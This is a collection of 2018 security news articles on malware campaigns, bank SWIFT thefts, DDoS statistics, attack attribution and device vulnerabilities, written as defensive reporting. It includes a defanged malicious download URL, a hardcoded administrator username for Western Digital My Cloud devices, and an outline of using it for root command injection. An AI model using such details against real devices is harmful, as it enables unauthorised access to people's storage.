- Computer Attack -

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Macro-Based Multi-Stage Attack Delivers Password Stealer
20.2.2018 securityweek
Vulnerebility  Attack

A malicious attack uses a multi-stage infection to deploy malware that is capable of stealing passwords from various applications on a victim’s computer, Trustwave reports.

The attack starts with spam emails distributed from the Necurs botnet to deliver macro-enabled documents, such as Word docs, Excel spreadsheets, or PowerPoint presentations, to the targets.

As part of this infection campaign, DOCX attachments containing an embedded OLE object that has external references was used. Thus, external access is provided to remote OLE objects to be referenced in the document.xml.rels, Trustwave explains.

As soon as the user opens the file, a remote document is accessed from the URL hxxp://gamestoredownload[.]download/WS-word2017pa[.]doc. Although it has a .doc extension, the file is actually a RTF document.

Once executed on the victim’s system, the file attempts to exploit the CVE-2017-11882 vulnerability that Microsoft patched last November in the Office’s Equation Editor tool, and which has been already abused in a wide range of attacks.

The RTF file executes an MSHTA command line to download and execute a remote HTA file. In turn, the HTA file contains VBScript with obfuscated code which decodes to a PowerShell Script designed to fetch and run a remote binary file.

This binary is the final payload that turns out to be a password stealer malware family capable of gathering credentials from email, FTP, and browsers installed on the victim’s machine. For that, it concatenates available strings in the memory and uses the RegOpenKeyExW and PathFileExistsW APIs to check if registry or paths of various programs exist.

The malware was observed sending the harvested data to its command and control (C&C) server via a HTTP POST request.

The most interesting aspect of this attack is the use of multiple stages to deliver the final payload, an approach that Trustwave calls unusual. The security researchers also point out that this long infection chain is more likely to fail compared to other, more straightforward attacks.

“Indeed, this approach can be very risky for the malware author. If any one stage fails, it will have a domino effect on the whole process. Another noticeable point is that the attack uses file types (DOCX, RTF and HTA), that are not often blocked by email or network gateways unlike the more obvious scripting languages like VBS, JScript or WSF,” Trustwave concludes.


Millions Stolen From Russian, Indian Banks in SWIFT Attacks
19.2.2018 securityweek
Attack

Malicious hackers attempted to steal millions of dollars from banks in Russia and India by abusing the SWIFT global banking network.

A report published last week by Russia’s central bank on the types of attacks that hit financial institutions in 2017 revealed that an unnamed bank was the victim of a successful SWIFT-based attack.

A copy of the report currently posted on the central bank’s website does not specify how much the hackers stole, but Reuters said they had managed to obtain 339.5 million rubles (roughly $6 million).

According to the organization, the number of targeted attacks aimed at lenders increased in 2017 compared to the previous year. Attackers used widely available tools such as Metasploit, Cobalt Strike, Empire, and Mimikatz to achieve their goals – Cobalt Strike was reportedly used to steal more than 1 billion rubles (roughly $17 million).SWIFT attacks hit Indian, Russian banks

The news comes after Russia’s Globex bank admitted in December that hackers had attempted to steal roughly $940,000 through the SWIFT system. The attackers reportedly only managed to steal a fraction of the amount they targeted.

In India, City Union Bank issued a statement on Sunday saying that it had identified three fraudulent transfers abusing the SWIFT payments messaging system. One transfer of $500,000 through a Standard Chartered Bank account in New York to a bank in Dubai was blocked and the money was recovered.

The second transfer of €300,000 ($372,000) was made to an account at a bank based in Turkey via a Standard Chartered Bank account in Germany. The funds were blocked at the Turkish bank and City Union hopes to recover the money.

The third transfer was for $1 million and it went to a Chinese bank through a Bank of America account. City Union Bank said the funds were claimed by someone using forged documents.

The news comes after reports that India’s Punjab National Bank was the victim of a massive $1.7 billion fraud scheme involving the company’s employees. City Union, however, clarified that this was a “cyber attack initiated by international cyber criminals and there is no evidence of internal staff involvement.”

SWIFT-based attacks made many headlines in the past years ever since hackers successfully stole $81 million from Bangladesh’s central bank in early 2016.

The organization behind the SWIFT system, the Society for Worldwide Interbank Financial Telecommunication, has taken measures to prevent attacks, but malicious actors have continued to target financial institutions in sophisticated campaigns.

Hackers attempted to steal $60 million from a bank in Taiwan, $12 million from a bank in Ecuador, and $1.1 million from a bank in Vietnam.


Researchers Warn Against Knee-Jerk Attribution of 'Olympic Destroyer' Attack
15.2.2018 securityweek
Attack
Cyber Attack Attribution

Attribution has become a buzzword in malware analysis. It is very difficult to achieve -- but is necessary in a world that is effectively engaged in the early stages of a geopolitical cyberwar. Malware researchers tend to stop short of saying, 'this country or that actor is behind this attack'. Nevertheless, they are not shy in dropping hints, leaving the reader to make subjective conclusions.

They have done just that with the recent cyber-attacks against the PyeongChang Winter Olympic Games.

The New York Times comments, "Security companies would not say definitively who was behind the attack, but some digital crumbs led to a familiar culprit: Fancy Bear, the Russian hacking group with ties to Russian intelligence services."

Microsoft tweeted, "Fresh analysis of the #cyberattack against systems used in the Pyeongchang #WinterOlympics reveals #EternalRomance SMB exploit."

EternalRomance -- one of the leaked NSA exploits -- along with SMB was employed in the Bad Rabbit ransomware which has been likened to NotPetya which the UK government today ascribed to the Russian intelligence services.

Intezer is a firm that specializes in recognizing code reuse. It has analyzed the Olympic attacks, and comments, "We have found numerous small code fragments scattered throughout different samples of malware in these attacks that are uniquely linked to APT3, APT10, and APT12 which are known to be affiliated with Chinese threat actors."

Recorded Future comments (PDF), "Our own research turned up trivial but consistent code similarities between Olympic Destroyer modules and several malware families used by the Lazarus Group. These include standard but different functions within BlueNoroff Banswift malware, the LimaCharlie family of Lazarus malware from the Novetta Blockbuster report, and a module from the Lazarus SpaSpe malware meant to target domain controllers." Lazarus is, of course, considered to be synonymous with North Korea.

But while saying that there are code similarity hints at connections with North Korea, Recorded Future warns against jumping to any specific conclusion. "The trouble with this technique is that while code similarity can be stated with certainty, down to a percentage of bytes shared, the results are not straightforward and require expert interpretation. The Olympic Destroyer malware is a perfect example of how we can be led astray by this clustering technique when our standard for similarity is too low."

Code analysis suggests that Russia, China or North Korea, or any combination thereof, or all, or none of these state actors were behind the Winter Olympics attack.

Juan Andres Guerrero-Saade, principal security researcher at the Insikt Group at Recorded Future says: “Complex malware operations make us take pause to reevaluate research methods and make sure the research community is not being misled by its own eagerness to attribute attacks."

Priscilla Moriuchi, director of strategic threat development at Recorded Future says: “Attribution continues to be important in cyber-attacks because it shapes the victim, public, and government responses. However, accurate attribution is both more crucial and more difficult to determine than ever because adversaries are constantly evolving new techniques and the expertise required to identify a sophisticated actor keeps increasing.”

This doesn't mean that Recorded Future drops no hints of its own. It notes that this was a sophisticated two-pronged attack probably involving an earlier malware attack designed to steal credentials to be used during the opening ceremony against both the organizers and the infrastructure providers. In other words, it could only be achieved by a highly resourced attacker.

The attack's purpose was disruption rather than absolute destruction. While systems were wiped, they were left able to reboot -- allowing the possibility of eventual data recovery and reinstatement. There is no immediately apparent attempt at extortion -- removing financial motivation and leaving the probability of political motivation.

The 'hints' contained in the code similarity point variously at Russia, China and North Korea. Recorded Future adds another possibility: "The co-occurrence of code overlap in the malware may be indicative of a false flag operation, attempting to dilute evidence and confuse researchers." In other words, without access to 5Eyes-quality wiretaps and intercepted voice conversations (which intelligence agencies would be unwilling to reveal) it is all but impossible to attribute this, or any other cyber-attack, with 100% confidence.

As Recorded Future concludes, "For the time being, attribution remains inconclusive."


Pepperl+Fuchs HMIs Vulnerable to Meltdown, Spectre Attacks
14.2.2018 securityweek
Attack
Pepperl+Fuchs has informed customers that some of its human-machine interface (HMI) products are vulnerable to the recently disclosed Meltdown and Spectre attack methods.

The Germany-based industrial automation company said its VisuNet and Box Thin Client HMI devices rely on Intel CPUs, which makes them vulnerable to Meltdown and Spectre attacks. The list of affected products includes VisuNet RM, VisuNet PC, and Box Thin Client BTC.

Pepperl+Fuchs told CERT@VDE, the German counterpart of ICS-CERT, that the impacted devices are designed for use on industrial control systems (ICS) networks, and they should be isolated from the enterprise network and not directly accessible from the Internet.

“Additionally, VisuNet HMI devices use a kiosk mode for normal operation. Within this mode access policies of thin client based VisuNet Remote Monitors and Box Thin Clients are restricted, such that users can only access predefined servers,” CERT@VDE said in its advisory. “This implies that outgoing connections and local software installations have to be configured by administrators. Hence, operators are restricted in a way such that they can only use the system as configured by administrators.”

The vendor says these measures should greatly reduce the risk of attacks. However, if direct Internet access is allowed and a user is tricked into visiting a malicious website, an attacker may be able to execute arbitrary code and obtain data from the HMI device’s memory, including passwords.

Pepperl+Fuchs has released some updates that include the Windows patches for Meltdown and Spectre provided by Microsoft. However, the vendor has warned customers that the fixes could have a negative impact on performance and stability.

Both the patches from Intel and Microsoft have been known to cause problems, but the companies have been working on addressing existing issues.

Pepperl+Fuchs is not the only ICS vendor to inform customers that its products are vulnerable to Meltdown and Spectre attacks. Shortly after the flaws were disclosed, Rockwell Automation, Siemens, Schneider Electric and ABB published advisories on the topic.

More recently, advisories were also published by General Electric and Emerson, but the information is only available to customers that have registered an account on their websites.

The Meltdown and Spectre attacks allow malicious applications to bypass memory isolation mechanisms and access sensitive data stored in memory. Researchers warned recently that malicious actors appear to have already started working on malware designed to exploit the flaws.


Zero-Day Attack Prompts Emergency Patch for Bitmessage Client
14.2.2018 securityweek
Attack
An emergency update released on Tuesday for the PyBitmessage application patches a critical remote code execution vulnerability that has been exploited in attacks.

Bitmessage is a decentralized and trustless communications protocol that can be used for sending encrypted messages to one or multiple users. PyBitmessage is the official client for Bitmessage.

Bitmessage developers have issued a warning for a zero-day flaw that has been exploited against some users running PyBitmessage 0.6.2.

The security hole, described as a message encoding bug, has been patched with the release of version 0.6.3.2, but since PyBitmessage 0.6.1 is not affected by the flaw, downgrading is also an option for mitigating potential attacks.

Code patches were released on Tuesday, and binary files for Windows and macOS are expected to become available on Wednesday.

One of the individuals targeted in the zero-day attacks was Bitmessage core developer Peter Šurda. The developer told users not to contact him on his old address and admitted that his keys were most likely compromised. A new support address has been added to PyBitmessage 0.6.3.2.

“If you have a suspicion that your computer was compromised, please change all your passwords and create new bitmessage keys,” Surda said.

According to Šurda, the attacker exploited the vulnerability in an effort to create a remote shell and steal bitcoins from Electrum wallets.

“The exploit is triggered by a malicious message if you're the recipient (including joined chans),” the developer explained. “The attacker ran an automated script but also opened, or tried to open, a remote reverse shell. The automated script looked in ~/.electrum/wallets, but when using the reverse shell he had access to other files as well.”

The investigation into these attacks is ongoing and Bitmessage developers have promised to share more information as it becomes available.

Bitmessage has become increasingly popular in the past years following reports that the U.S. National Security Agency and other intelligence agencies are conducting mass surveillance. While the protocol is often used by people looking to protect their privacy, it has also been leveraged by cybercriminals, including in ransomware attacks for communications between victims and the hackers.


Major Browser Vendors to Restrict AppCache to Secure Connections
13.2.2018 securityweek
Attack
Major web browser vendors plan on restricting the use of the Application Cache (AppCache) feature to secure connections in an effort to protect users against potential attacks.

Mozilla on Monday was the first to make an official announcement, but the developers of Chrome, Edge and WebKit (the layout engine used by Apple’s Safari) said they plan on doing the same.

AppCache is an HTML5 application caching mechanism that allows website developers to specify which resources should be available offline. This improves speed, reduces server load, and enables users to browse a site even when they are offline.

While application caching has some benefits, it can also introduce serious security risks, which is partly why it has been deprecated and its use is no longer recommended.

The problem is that AppCache does not properly revalidate its cache, making it possible for man-in-the-middle (MitM) attackers to load malicious content. Mozilla has described the following attack scenario:

“A user logs onto a coffee shop WiFi where an attacker can manipulate the WiFi that is served over HTTP. Even if the user only visits one HTTP page over the WiFi, the attacker can plant many insecure iframes using AppCache which allows the attacker to rig the cache with malicious content manipulating all of those sites indefinitely. Even a cautious user who decides only to login to their websites at home is at risk due to this stale cache.”

Mozilla has already banned access to AppCache from HTTP pages in Firefox 60 Nightly and Beta, and will do the same in the main branch starting with Firefox 62, scheduled for release in early May.

Mozilla says it will continue to remove features for websites using HTTP and advised developers to implement TLS encryption in order to preserve current functionality.

“Going forward, Firefox will deprecate more APIs over insecure connections in an attempt to increase adoption of HTTPS and improve the safety of the internet as a whole,” explained Mozilla’s Jonathan Kingston.

Google Chrome developers initiated a discussion on removing AppCache on insecure origins back in 2016, but failed to find a solution. Following Mozilla’s lead, the Chrome team has picked up discussions on this topic on February 2.

Microsoft reportedly started making plans for AppCache restriction last week and WebKit developers are also looking into making changes. Some modifications will also be made in the HTML standard.


DDoS attacks in Q4 2017
10.2.2018 Kaspersky  Analysis 
Attack

News overview
In terms of news about DDoS attacks, the last quarter of 2017 was livelier than the previous one. Some major botnets were discovered and destroyed. For instance, early December saw the FBI, Microsoft, and Europol team up to knock out the Andromeda botnet, in operation since 2011. In late October, the Indian Computer Emergency Response Team (CERT) issued a warning about a massive botnet being assembled by a hacker group using the Reaper and IoTroop malware; earlier that same month, the spread of Sockbot through infected Google Play apps was detected and terminated.

Besides the various battles with Trojan-infested botnets, the last three months of 2017 were dominated by three main DDoS trends: politically motivated attacks, attempts to cash in on the soaring price of Bitcoin, and tougher law enforcement.

Politically motivated DDoS attacks remain eye-catching, but fairly ineffective. In late October again, during parliamentary elections in the Czech Republic, the country’s statistical office was hit by a DDoS attack in the middle of the vote count. The attack was a nuisance, but nothing more, and the results of the elections were duly announced on time.

Another DDoS-based political protest was aimed at the Spanish government in connection with the Catalan question. Hacktivists from the Anonymous group managed to take down the website of Spain’s Constitutional Court, and defaced the Ministry of Public Works and Transport’s website with the message “Free Catalonia.”

But politics is politics, and business is, well, just that. As we noted in the previous quarter, Bitcoin and everything associated with it has hit peak commercial popularity — not surprising, considering the explosive growth in its value. No sooner had Bitcoin spawned a new kind of cryptocurrency in the shape of Bitcoin Gold (BTG) than BTG sites immediately came under DDoS fire. After the price of the cryptocurrency took off in November, DDoS attacks rained down on the Bitfinex exchange — apparently with the aim of profiting from Bitcoin price fluctuations caused by denial of service. Still punch-drunk from the November attack, Bitfinex was paralyzed by two more onslaughts in early December.

On the topic of total failure, it would be amiss not to mention the shutdown of four shadow markets in the deep web used for all kinds of illegal trade: Trade Route, Tochka, Wall Street Market, and Dream Market. They have been operating erratically ever since October. It wasn’t clear at first what was behind these massive, well-coordinated attacks: the law enforcement agencies (as in the recent destruction of AlphaBay and Hansa) or competitors attempting to encroach on their territory. The subsequent attacks on all other trading platforms in early December dispelled most analysts’ doubts that it was a full-scale cyberwar between drug cartels.

However, the law — in particular, the judicial system — is not sitting idly by. Q4 saw a whole host of charges and sentences handed down in DDoS-related cases. The US judicial system was the most active: in mid-December, three defendants, Paras Jha, Josiah White, and Dalton Norman, confessed to being the brains behind the Mirai botnet.

And in late December, the founders of the notorious hacker groups Lizard Squad and PoodleCorp — Zachary Buchta of the U.S. and Bradley Jan Willem van Rooy of the Netherlands — were convicted.

In Britain, the high-profile case of young hacker Alex Bessell from Liverpool went to trial. Bessell was recently jailed for having launched a series of major cyber attacks in the period 2011-2013 against such giants as Skype, Google, and Pokemon. An even younger British hacker who targeted NatWest Bank, the National Crime Agency, Vodafone, the BBC, and Amazon was handed 16 months’ detention, suspended for two years.

A curious incident concerned 46-year-old John Gammell of Minnesota, who was charged with hiring three hacking services to create problems for his former employers, the websites of the judicial system of the district where he lived, and several other companies where he was once a contractor. The sponsors of DDoS attacks are often hard to track down, but Gammel couldn’t resist the temptation to tease his targets with emails — which led to his capture. As the investigators reported, the hacking services dealt with Gammel very professionally and cordially, thanking him for procuring their services and even upgrading his membership.

Quarter trends
Q4 demonstrated that DDoS attacks can be categorized as persistent online “crosstalk.” Junk traffic has become so widespread that server failure from too many requests might not be attack-related, but the accidental result of botnet side activities. For instance, in December we logged a huge number of requests to non-existent 2nd and 3rd level domains, which created an abnormal load on DNS servers in the RU zone. A modification of the Lethic Trojan turned out to be the culprit. This long-known malware comes in many different flavors, its main task being to allow spam traffic to pass through infected devices, basically like a proxy server.

The version we discovered was unlike most modifications in that it operates in multiple threads to create a huge number of requests to non-existent domains. The study found that this behavior was an attempt to mask the command-and-control (C&C) server addresses behind numerous junk requests, and the excessive load on the DNS servers was simply the result of the malware’s poor design. Nevertheless, DDoS attacks on DNS servers using junk requests are quite common and easy to implement. Our experts have assisted clients in many such instances. What’s interesting here is the method employed, as well as the perhaps unintended effect.

Statistics for botnet-assisted DDoS attacks
Methodology
Kaspersky Lab has extensive experience of combating cyber threats, including DDoS attacks of various complexity types and ranges. Company experts track the actions of botnets by using the DDoS Intelligence system.
Being part of the Kaspersky DDoS Prevention solution, the DDoS Intelligence system intercepts and analyzes commands sent to bots from C&C servers and requires neither the infection of any user devices, nor the actual execution of cybercriminals’ commands.

This report contains DDoS Intelligence statistics for Q4 2017.

In the context of this report, it is assumed that an incident is a separate (single) DDoS-attack if the interval between botnet activity periods does not exceed 24 hours. For example, if the same web resource was attacked by the same botnet with an interval of 24 hours or more, then this incident is considered as two attacks. Also, bot requests originating from different botnets but directed at one resource count as separate attacks.

The geographical locations of DDoS-attack victims and C&C servers used to send commands are determined by their respective IP addresses. The number of unique targets of DDoS attacks in this report is counted by the number of unique IP addresses in the quarterly statistics.

DDoS Intelligence statistics are limited only to those botnets detected and analyzed by Kaspersky Lab. It should also be noted that botnets are just one of the tools for performing DDoS attacks; thus, the data presented in this report do not cover every single DDoS attack that occurred during the specified period.

Quarter results
In Q4 2017, DDoS attacks were registered against targets in 84 countries (98 in Q3). However, as in the previous quarter, the overwhelming majority of attacks occurred in the top ten countries in the list (94.48% vs. 93.56%).
More than half of all attacks in Q4 (51.84%) were aimed at targets in China — almost unchanged since Q3 (51.56%).
In terms of both number of attacks and number of targets, South Korea, China, and the US remain out in front. But in terms of number of botnet C&C servers, Russia pulled alongside this trio: its relative share matched China’s.
The longest DDoS attack of Q4 2017 lasted 146 hours (just over six days). This is significantly shorter than the previous quarter’s record of 215 hours (almost nine days). 2017’s longest attack (277 hours) was registered in Q2.
The days before and after Black Friday and Cyber Monday saw increased activity on dummy Linux servers (honeypot traps), which lasted right up until the beginning of December.
SYN DDoS remains the most common attack method, while the least popular is ICMP DDoS. According to Kaspersky DDoS Protection data, the frequency of multi-method attacks rose.
In Q4 2017, the share of Linux botnets climbed slightly to 71.19% of all attacks.
Geography of attacks
In Q4 2017, DDoS attacks affected 84 countries, which represents a slight improvement over the previous quarter, when 98 countries were hit. Traditionally, China is most in the firing line, although the country’s share of attacks decreased slightly (from 63.30% to 59.18%), approaching the Q2 level. The figures for the US and South Korea, which retained second and third place, went up slightly to 16.00% and 10.21%, respectively.

Fourth place went to Britain (2.70%), which climbed 1.4% to overtake Russia. Although Russia’s share of attacks dropped insignificantly (by 0.3%), that was enough to push it into sixth place behind Vietnam (1.26%), which made a return to the leaderboard, squeezing Hong Kong out of the top ten.

The percentage of attacks directed against targets in the top ten countries grew in the last quarter (but not by much) to almost 92.90% vs. 91.27% in Q3 2017. The landscape is much the same as before.

About half of all targets are still in China (51.84%), followed by the US (19.32%), where the number of targets is again nearing 20% after a slight dip in Q3; South Korea is third with 10.37%. Vietnam again ousted Hong Kong from the top ten, taking ninth place with a 1.13% share, while Russia (1.21%) came seventh with a loss of 1%, making way for Britain (3.93%), France (1.60%), Canada (1.24%), and the Netherlands (1.22%), whose figures did not change much against the previous quarter.

Dynamics of the number of DDoS attacks
Statistical analysis of specially prepared Linux servers — so-called honeypot traps — shows that peak botnet activity this quarter occurred during the pre- and post-holiday sales. Feverish cybercriminal activity was clearly observed around Black Friday and Cyber Monday, dying down by the second third of December.

The most significant peaks occurred on November 24 and 29, when the number of individual IPs storming our resources doubled. Some increase in activity was also observed in late October — most likely Halloween-related.

Such fluctuations point to attempts by cybercriminals to boost their botnets in the run-up to major sales. Pre-holiday periods are incubators of cybercriminal growth for two reasons: first, users are less discerning and more likely to “surrender” their devices to intruders; second, the prospect of a fast buck makes it possible to blackmail Internet companies with lost profits or to offer one’s services in the cut-throat struggle online.

Dynamics of the number of Linux-based attacks in Q4 in 2017*
*Shows changes in the number of unique IPs per 24 hours

Types and duration of DDoS attacks
In Q4, the share of SYN DDoS attacks decreased (from 60.43% to 55.63%) due to less activity by the Linux-based Xor DDoS botnet. These attacks still rank first, however. The percentage of ICMP attacks (3.37%), still the least common, also fell. The relative frequency of other types of attacks increased, but whereas in the previous quarter TCP attacks ranked second after SYN, UDP overshadowed both these types, rising from second-to-last to second-from-top (in Q4 UDP DDoS accounted for 15.24% of all attacks).

Kaspersky DDoS Protection annual statistics show a decline in the popularity of DDoS attacks involving only pure HTTP and HTTPS flooding. The frequency of multi-method attacks rose accordingly. Nevertheless, one in three mixed attacks contained an HTTP or HTTPS flood. This may be due to the fact that HTTP(S) attacks are quite expensive and complex, while in a mixed attack they can be used by cybercriminals to increase the overall effectiveness without additional costs.

Correlation between attack types according to Kaspersky DDoS Protection, 2016 and 2017

The longest attack in Q4 was significantly shorter than its Q3 counterpart: 146 hours (about 6 days) vs. 215 (about 9). That’s barely half the Q2 and 2017 record of 277 hours. Overall, the share of longish attacks continues to decline, albeit insignificantly. This also applies to attacks lasting 100-139 hours and 50-99 hours (the shares of these categories are so small that even a change of 0.01% is news). The most common are still micro-attacks, lasting no more than four hours: their share rose slightly to 76.76% (vs. 76.09% in Q3). Also up was the proportion of attacks lasting 10-49 hours, but again not by much — about 1.5%.

Distribution of DDoS attacks by duration (hours), Q3 and Q4 2017

C&C servers and botnet types
The top three countries by number of C&C servers remained as before: South Korea (46.63%), the US (17.26%), China (5.95%). Yet although the figures for the latter two climbed slightly against Q3, China had to share third place with Russia, which gained 2%, the reason being that despite the fact that the leaders’ share changed insignificantly percentage-wise, in absolute terms the number of C&C servers detected in all three countries almost halved. This is at least partially due to the termination of many Nitol botnet admin servers and the less active Xor botnet. On a separate note, this category’s top ten welcomed Canada, Turkey, and Lithuania (1.19% each), while Italy, Hong Kong, and Britain departed the list.

Distribution of botnet C&C servers by country, Q4 2017

The steady increase in the number of Linux-based botnets continued this quarter: their share now stands at 71.19% against Q3’s 69.62%. Accordingly, the share of Windows-based botnets fell from 30.38% to 28.81%.

Correlation between Windows- and Linux-based botnet attacks, Q4 2017

Conclusion
Q4 2017 represented something of a lull: both the number and duration of DDoS attacks were down against the previous quarter. The final three months of 2017 were even calmer than the first three. Alongside the rising number of multicomponent attacks involving various combinations of SYN, TCP Connect, HTTP flooding, and UDP flooding techniques, the emerging pattern suggests a backsliding for DDoS botnets in general. Perhaps the economic climate or tougher law enforcement has made it harder to maintain large botnets, causing their operators to switch tactics and start combining components from a range of botnets.

At the same time, the increase in the number of attacks on honeypot traps in the runup to holiday sales indicates that cybercriminals are keen to expand their botnets at the most opportune moment, looking to grab a slice of the pie by pressuring owners of online resources and preventing them from making a profit. In any event, the DDoS spikes around Black Friday and Cyber Monday were a salient feature of this quarter.

Another aspect of the late fall/early winter period was the continued attacks on cryptocurrency exchanges in line with the trends of the past months. Such fervor on the part of cybercriminals is not surprising given the explosive growth in the price of Bitcoin and Monero. Barring a collapse in the exchange rate (short-term fluctuations that only encourage speculators do not count), these exchanges are set to remain a prime target throughout 2018.

What’s more, the last quarter showed that not only are DDoS attacks a means to make financial or political gain, but can produce accidental side effects, as we saw last December with the junk traffic generated by the Lethic spam bot. Clearly, the Internet is now so saturated with digital noise that an arbitrary resource can be hit by botnet activity without being the target of the attack or representing any value whatsoever to the attackers.


Meet PinME, A Brand New Attack To Track Smartphones With GPS Turned Off.
8.2.2018 securityaffairs
Attack

Researchers from Princeton University have developed an app called PinME to locate and track smartphone without using GPS.
The research team led by Prateek Mittal, assistant professor in Princeton’s Department of Electrical Engineering and PinMe paper co-author developed the PinMe application that mines information stored on smartphones that don’t require permissions for access.

The data is processed alongside with public available maps and weather reports resulting on information if a person is traveling by foot, car, train or airplane and their travel route. The applications for intelligence and law enforcement agencies to solve crimes like kidnapping, missing people and terrorism are very significant.

As the researchers notice, the application utilizes a series of algorithms to locate and track someone using information like the phone IP address and time zone combined with data from its sensors. The phone sensors collect compass details from the gyroscope, air pressure reading from barometer and accelerometer data while remaining undetected from the user. The resulting data processed can be used to extract contextual information about users’ habits, regular activities, and even relationships.

This technology as many others have two sides: Help solving crimes at large, and implications on privacy and security of the users. The researchers hope to be fomenting the development of security measures to switch off sensor data by revealing this sensor security flaw. Nowadays such sensor data is collected by fitness and game applications to track people movement.

Another key point where the application can be a game changer is an alternative navigation tool, as highlighted by the researchers. Gps signals used in autonomous cars and ships can be the target of hackers putting the safety of the passengers in danger. The researchers conducted their experiment using Galaxy S4 i9500, iPhone 6 and iPhone 6S. To determine the last Wi-Fi connection, the PinMe application read the latest IP address used and the network status.

pinme

To determine how a user is traveling, the application utilizes a machine learning algorithm that recognizes the different patterns of walking, driving and flying by gathering data from the phones sensor like speed, direction of travel, delay between movement and altitude.

Once determined the pattern of activity of a user, the application then executes one of four additional algorithms to determine the type transportation. By comparing the phone data against public information the route of the user is determined. Maps from Google and the U.S. Geological Survey were used to determine the altitude details of every point on Earth. Details regarding temperature, humidity, and air pressure reports were also used to determine the use of trains or planes.

The researchers wanted also to raise the question about privacy and data collected without the user consent as Prateek Mittal states: “PinMe demonstrates how information from seemingly innocuous sensors can be exploited using machine-learning techniques to infer sensitive details about our lives”.

Sources:

https://gizmodo.com/how-to-track-a-cellphone-without-gps-or-consent-1821125371

https://nakedsecurity.sophos.com/2017/12/19/gps-is-off-so-you-cant-be-tracked-right-wrong/

https://www.princeton.edu/news/2017/11/29/phones-vulnerable-location-tracking-even-when-gps-services

https://www.theregister.co.uk/2018/02/07/boffins_crack_location_tracking_even_if_youve_turned_off_the_gps/

https://www.helpnetsecurity.com/2018/02/07/location-tracking-no-gps/

https://www.bleepingcomputer.com/news/security/apps-can-track-users-even-when-gps-is-turned-off/

https://arxiv.org/pdf/1802.01468.pdf

http://ieeexplore.ieee.org/document/8038870/?reload=true


Business Wire Hit by Ongoing DDoS Attack
7.2.2018 securityweek
Attack
Newswire service Business Wire said Tuesday that it has been under a sustained Distributed Denial of Service (DDoS) attack for almost a week.

The company said that since last Wednesday, January 31, the attack has been attempting to render the newswire service portal unavailable.

As a frequent user of Business Wire services, SecurityWeek can confirm that the web-based service has been often unresponsive or seen performance being extremely degraded in recent days.

In a customer advisory, Richard DeLeo, Chief Operating Officer at Business Wire, said there is no evidence that any systems or client information have been compromised.

DeLeo said the company is working closely with unnamed partners to mitigate and resolve the attacks and stabilize the environment, but did not share any details, other than calling it a “directed and persistent” attack.

A traceroute shows that the company utilizes Akamai as a content delivery network to handle web requests to www.businesswire.com.

In August 2015, Berkshire Hathaway-owned Business Wire was victim of a cyberattack that allowed malicious actors to gain unauthorized access to non-public, market-moving information stored on its news distribution platform. Soon after, the Securities and Exchange Commission (SEC) announced that a cybercriminal group allegedly hacked into multiple newswire services to steal non-public information about corporate earnings announcements that were used to make financial trades that generated more than $100 million in illegal profits.

According to Arbor Networks’ 13th Annual Worldwide Infrastructure Security Report (WISR), 57% of enterprise, government and education (EGE) respondents and 45% of data center operators had their network resources depleted due to DDoS attacks in 2017. Arbor observed 7.5 million DDoS attacks in 2017.

Arbor also found that attack durations surged in 2017, with 29% of service providers saying they experienced attacks of over 12 hours. 45% of respondents said they experienced more than 21 attacks per month, while 17% were hit more than 500 times per month.


Duo Charged Over ATM "Jackpotting" Attacks
6.2.2018 securityweek
Attack
Two men were charged in the United States with bank fraud from their involvement an alleged ATM "jackpotting" operation.

Alex Alberto Fajin-Diaz, 31, a citizen of Spain, and Argenys Rodriguez, 21, of Springfield, Massachusetts, were both arrested on related state charges on January 27 and are currently detained.

ATM jackpotting is an attack technique targeting automated teller machines (ATMs), where criminals connect to these devices and install malware or use specialized hardware to control the operations of the machine and cause them to dispense cash.

While the attack method hasn’t been seen in the United States until recently, ATM makers and the U.S. Secret Service issued alerts last month on the technique being used in attacks in the U.S. as well. The alerts warned that ATMs located in pharmacies, big box retailers, and drive thru ATMs were being targeted by jackpotting attacks.

A Department of Justice announcement on Monday revealed that ATM jackpotting incidents recently occurred in Hamden, Guilford, and Providence, Rhode Island, and that federal, state and local law enforcement agencies have been investigating the attacks.

According to the criminal complaint, on January 27, 2018, Fajin-Diaz and Rodriguez were found near an ATM compromised with jackpotting malware and which “was in the process of dispensing $20 bills,” the DoJ announcement reads. On the same date, Citizens Bank investigators had contacted police after an apparent attack on an ATM in Cromwell.

“A search of Fajin-Diaz and Rodriguez’s vehicle, which had a license plate that was assigned to another vehicle, revealed tools and electronic devices consistent with items needed to compromise an ATM machine to dispense its cash contents. Faji-Diaz and Rodriguez also possessed more than $9,000 in $20 bills,” the DoJ says.

If found guilty of bank fraud, the two face a maximum sentence of 30 years in prison.

Although widely reported on only last week, ATM jackpotting attacks in the U.S. appear to have started several months ago, with the first suspects arrested in November 2017, as Oil City News reported at the time.


Western Digital My Cloud flaws allows local attacker to gain root access to the devices
3.2.2018 securityaffairs
Attack

Trustwave disclosed two vulnerabilities in Western Digital My Cloud network storage devices could be exploited by a local attacker to gain root access to the NAS devices.
Researchers at Trustwave disclosed two new vulnerabilities in Western Digital My Cloud network storage devices could be exploited by a local attacker to delete files stored on devices or to execute shell commands as root.

The two Western Digital My Cloud flaws are an arbitrary command execution vulnerability and an arbitrary file deletion issue. The arbitrary command execution vulnerability affects the common gateway interface script “nas_sharing.cgi” that allows a local user to execute shell commands as root. Hardcoded credentials allows any users to authenticate to the device using the username “mydlinkBRionyg.”

“The first finding was discovering hardcoded administrator credentials in the nas_sharing.cgibinary. These credentials allow anyone to authenticate to the device with the username “mydlinkBRionyg”.” states the analysis published by Trustwave. “Considering how many devices are affected this is very serious one. Interestingly enough another researcher independently released details on the same issue less than a month ago.”

The arbitrary file deletion vulnerability is also tied to the common gateway interface script “nas_sharing.cgi”.

“Another problem I discovered in nas_sharing.cgi is that it allows any user execute shell commands as root. To exploit this issue the “artist” parameter can be used.” continues the analysis.

Western Digital My Cloud

Chaining the two flaws it is possible to execute commands as root, a local attacker could log in using the hardcoded credentials and executing a command that is passed inside the “artist” parameter using base64 encoding.

The Western Digital models affected are My Cloud Gen 2, My Cloud PR2100, My Cloud PR4100, My Cloud EX2 Ultra, My Cloud EX2, My Cloud EX4, My Cloud EX2100, My Cloud EX4100, My Cloud DL2100 and My Cloud DL4100.

Trustwave reported the issues to Western Digital in 2017, according to the researchers the flaws are addressed with the firmware (version 2.30.172 ) update, released on Nov. 16, 2017.

“As a reminder, we urge customers to ensure the firmware on their products is always up to date; enabling automatic updates is recommended. We also urge you to implement sound data protection practices such as regular data backups and password protection, including to secure your router when you use a personal cloud or network-attached storage device.” recommends Western Digital.


Three Dutch banks and Tax Agency under DDoS Attacks … is it a Russian job?
30.1.2018 securityaffairs
Attack

